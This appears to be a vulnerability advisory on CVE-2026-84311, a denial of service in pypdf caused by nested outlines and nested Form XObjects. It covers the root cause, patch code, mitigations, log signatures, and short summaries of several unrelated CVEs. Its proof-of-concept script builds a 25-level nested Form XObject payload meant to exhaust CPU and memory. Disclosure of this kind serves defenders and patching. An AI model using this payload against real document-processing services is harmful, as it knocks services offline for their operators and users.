Sep 2, 2026·7 min read·27 visits
pypdf prior to version 6.16.1 is vulnerable to an algorithmic complexity Denial of Service (DoS) attack, resembling a 'Billion Laughs' entity expansion, via crafted nested Form XObjects or extremely deep outline trees.
CVE-2026-84311 (GHSA-763m-79hh-57f2) is an algorithmic complexity Denial of Service (DoS) vulnerability in the pypdf library. Prior to version 6.16.1, the library does not place limits on iterations during the parsing of PDF document outlines and recursive Form XObject (XForm) expansions. An attacker can craft a malicious, highly compressed PDF document containing nested structures which, when parsed, trigger exponential iteration paths, resulting in severe CPU and memory exhaustion.
pypdf is a widely utilized, pure-Python library designed to handle PDF files, including operations such as splitting, merging, cropping, and transforming pages. Because of its ease of integration and lack of external dependencies, it is frequently embedded in backend systems to handle automated document indexing, content extraction, and document processing pipelines.
This widespread adoption exposes a massive attack surface. Backend systems processing arbitrary PDF uploads from untrusted users are particularly vulnerable. When a malicious document is submitted, any routine calling core functionalities like text extraction or outline parsing will trigger the vulnerability.
CVE-2026-84311 represents an algorithmic complexity vulnerability classified under CWE-834 (Excessive Iteration). It arises from the absence of execution constraints when resolving non-cyclic hierarchical structures. Unlike cyclic paths, which standard recursion counters can detect, these overlapping paths allow an attacker to trigger resource exhaustion with extremely small payload sizes.
The core issue exists within two distinct parsing logic paths in the pypdf implementation: the document outline tree retrieval and the XObject Form text extraction routines. In previous releases, pypdf relied on a simple cycle detection mechanism. It maintained a set of visited node identifiers to avoid infinite recursion loops, which successfully stopped cyclic graphs (e.g., Node A referencing Node B, which references Node A).
However, this defense mechanism failed against Directed Acyclic Graphs (DAGs) and deeply nested hierarchical structures that do not contain cycles. In the case of the document outline retrieval (located in _get_outline within _doc_common.py), an attacker can supply an excessively deep outline tree. Because Python has a strict limit on its call-stack, this deep recursion triggers a RecursionError, immediately terminating the interpreter process.
In the case of XObject Form text extraction (located in _extract_text within _page.py), the flaw manifests as an entity expansion pattern, conceptually identical to the classic XML 'Billion Laughs' attack. Form XObjects represent reusable layout streams. A page or a Form XObject can reference other Form XObjects using the /XObject resource dictionary. When traversing these references to extract text, the library would expand each form recursively without tracking global invocation counts. By layering multiple Form XObjects where each form points to the next child multiple times, the total operations scale exponentially. A file under 15 KB in size with 25 levels of nested XObject forms translates to over 33 million execution paths, completely monopolizing the thread and depleting physical memory.
To remediate CVE-2026-84311, the maintainers introduced a global tracking class called _TraversalState and defined strict limits for execution depths and total loops. The fix enforces a maximum outline depth of 100, a maximum outline entry limit of 100,000, and restricts the maximum Form XObject invocations per extraction to 5,000.
Below is an analysis of the vulnerable recursive logic contrasted against the patched implementation. The introduction of _TraversalState acts as a thread-safe, mutable container to persist invocation counts across recursive frames:
# File: pypdf/_utils.py
@dataclass
class _TraversalState:
"""State tracker implemented to monitor and limit recursion paths."""
entry_count: int = 0
has_logged: bool = FalseIn the patched version of _get_outline, the parser evaluates both the depth and the accumulative entry_count against their respective thresholds, throwing a LimitReachedError if exceeded:
# File: pypdf/_doc_common.py
if depth > OUTLINE_MAX_DEPTH:
raise LimitReachedError(f"Maximum outline depth reached: {depth} > {OUTLINE_MAX_DEPTH}.")
traversal_state.entry_count += 1
if traversal_state.entry_count > OUTLINE_MAX_ENTRIES:
raise LimitReachedError(
f"Maximum outline entry limit reached: {traversal_state.entry_count} > {OUTLINE_MAX_ENTRIES}."
)Similarly, during text extraction, the _extract_text__xform method checks the global counter and drops additional processing if the cap is met, logging a warning rather than crashing the system:
# File: pypdf/_page.py
if traversal_state.entry_count >= MAX_XFORM_INVOCATIONS_PER_EXTRACTION:
if not traversal_state.has_logged:
traversal_state.has_logged = True
logger_warning(
"Exceeded %(limit)d form XObject invocations while extracting text; further content skipped.",
source=__name__,
limit=MAX_XFORM_INVOCATIONS_PER_EXTRACTION
)
return ""This defensive design is robust. Instead of raising an unhandled exception that would crash the execution flow, the text extraction gracefully degrades by omitting deeply nested structures and continuing execution, thereby neutralizing the Denial of Service vector.
Exploiting CVE-2026-84311 requires no elevated privileges or unique environmental conditions, placing it at a low difficulty level (Attack Complexity: Low). The primary prerequisite is that the target application must accept user-supplied PDF documents and perform automated operations on them, such as reading outlines or extracting text (e.g., for document preview generation, full-text indexing, or content parsing).
To demonstrate this behavior, an attacker can construct a valid PDF structure using a sequential chain of Form XObject definitions. The attack relies on overlapping, non-cyclic references within the PDF tree. A visual flow of this structural layout is shown below:
This graph illustrates how the parser is forced to process 2^k paths. Below is a conceptual representation of the exploit construction script. This script outputs a tiny PDF file containing highly nested Form XObjects. Processing this file on any version of pypdf prior to 6.16.1 will lead to execution times or memory crashes:
# Proof of Concept: Generating a Resource Exhaustion PDF
from pypdf import PdfWriter
from pypdf.generic import DictionaryObject, NameObject, NumberObject, RectangleObject, StreamObject
writer = PdfWriter()
page = writer.add_blank_page(width=612, height=792)
# Configure nested Form XObjects to simulate the Billion Laughs structure
depth = 25
forms = [StreamObject() for _ in range(depth + 1)]
form_refs = [writer._add_object(form) for form in forms]
for k, form in enumerate(forms):
if k < depth:
next_name = NameObject(f"/F{k + 1}")
form_content = f"q\n{next_name} Do\n{next_name} Do\nQ\n".encode("ascii")
xobjects = DictionaryObject({next_name: form_refs[k + 1]})
else:
form_content = b"BT\n/F1 12 Tf\n100 700 Td\n(.) Tj\nET\n"
xobjects = DictionaryObject()
form.update({
NameObject("/Type"): NameObject("/XObject"),
NameObject("/Subtype"): NameObject("/Form"),
NameObject("/FormType"): NumberObject(1),
NameObject("/BBox"): RectangleObject([0, 0, 612, 792]),
NameObject("/Resources"): DictionaryObject({NameObject("/XObject"): xobjects})
})
form.set_data(form_content)When a vulnerable microservice processes the resulting file and attempts to index its text via page.extract_text(), the Python engine is locked into a heavy recursion loop. Because the memory required to maintain the traversal frames escalates rapidly, the host container or server will exhaust its physical memory, initiating an Out-of-Memory (OOM) killer event that crashes the process.
The direct and recommended solution to address CVE-2026-84311 is to upgrade pypdf to version 6.16.1 or later. This release enforces hard limits on internal parser recursions, stopping the algorithmic exhaustion cleanly.
In scenarios where immediate updates cannot be deployed due to software freeze windows, organizations should implement defense-in-depth mitigations. First, establish process-level resource constraints using container configuration policies (such as setting memory limits and CPU limits in Kubernetes or Docker) or operating system controls (such as ulimit or systemd service execution limits). This ensures that if a parser thread hangs, it will be terminated without taking down the entire service host.
Second, applications can implement file processing timeout mechanisms. Python's multiprocessing library can execute the PDF extraction process in a separate sandboxed thread or process with a strict execution wall-time (e.g., terminating any task that takes longer than 10 seconds). Furthermore, you should inspect logs for signature markers indicating exploit attempts:
pypdf.errors.LimitReachedError indicating that maximum depth limits were reached.Exceeded 5000 form XObject invocations while extracting text; further form content is skipped.Implementing these rules ensures visibility into ongoing attacks while validating the efficacy of deployed patches.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
pypdf py-pdf | < 6.16.1 | 6.16.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-834 (Excessive Iteration) |
| Attack Vector | Local (via untrusted file processing) |
| CVSS Score | 4.8 (Medium) |
| Exploit Status | Proof-of-Concept Available |
| CISA KEV Status | Not Listed |
| Impact | Application-level Denial of Service (CPU/Memory Exhaustion) |
| Patched Version | 6.16.1 |
The software performs an iterative operation where the loop control is dependent on an untrusted input size, or contains recursion logic without strict boundary limits, allowing an attacker to cause the software to consume an excessive amount of resources.
An LDAP injection vulnerability exists in the centraldogma-server-auth-shiro module of LY Corporation Central Dogma before version 0.84.0. The search logic dynamically constructs LDAP search filters by interpolating user-provided usernames without escaping RFC 4515 metacharacters. Unauthenticated remote attackers can leverage this flaw to bypass authentication, enumerate directory hierarchies, and access unauthorized resources.
CVE-2026-11746 is a critical vulnerability in Central Dogma Server prior to version 0.84.0, where an embedded ZooKeeper replication secret silently falls back to a publicly known, hard-coded default string ('ch4n63m3'). Remote attackers with access to the replication network can authenticate as legitimate cluster peers, potentially leading to unauthorized data exposure, state manipulation, or complete cluster takeover.
A logical verification flaw in ZITADEL's external JWT Identity Provider validation allows attackers to bypass session expiration checks. If an incoming JWT lacks the 'exp' claim, the system skips validation entirely, creating an indefinitely valid session. This issue has been addressed in versions 3.4.12 and 4.15.2.
CVE-2026-59149 identifies a directory traversal vulnerability in `@mockoon/commons-server`, the backend mock-server library powering the Mockoon application. The flaw occurs in the path containment validation logic used during raw file response generation. An unauthenticated attacker can exploit this weakness to retrieve arbitrary files from sibling directories sharing a common prefix with the designated static base directory.
An in-depth analysis of CVE-2026-59148, a high-severity flaw in Mockoon where unauthenticated administrative endpoints and a wildcard Cross-Origin Resource Sharing (CORS) policy allow remote execution, state poisoning, and credential theft.
An improper authentication vulnerability (CWE-287) in ZITADEL's external identity provider handler before version 4.15.3 allows remote attackers to perform complete account takeover. When auto-linking by email is enabled, ZITADEL verifies that the local target account has a verified email address but fails to verify if the external provider confirmed ownership of that same email. Attackers can exploit this by registering an unverified account with a victim's email address on a permissive external provider, leading to unauthorized account binding and persistent access.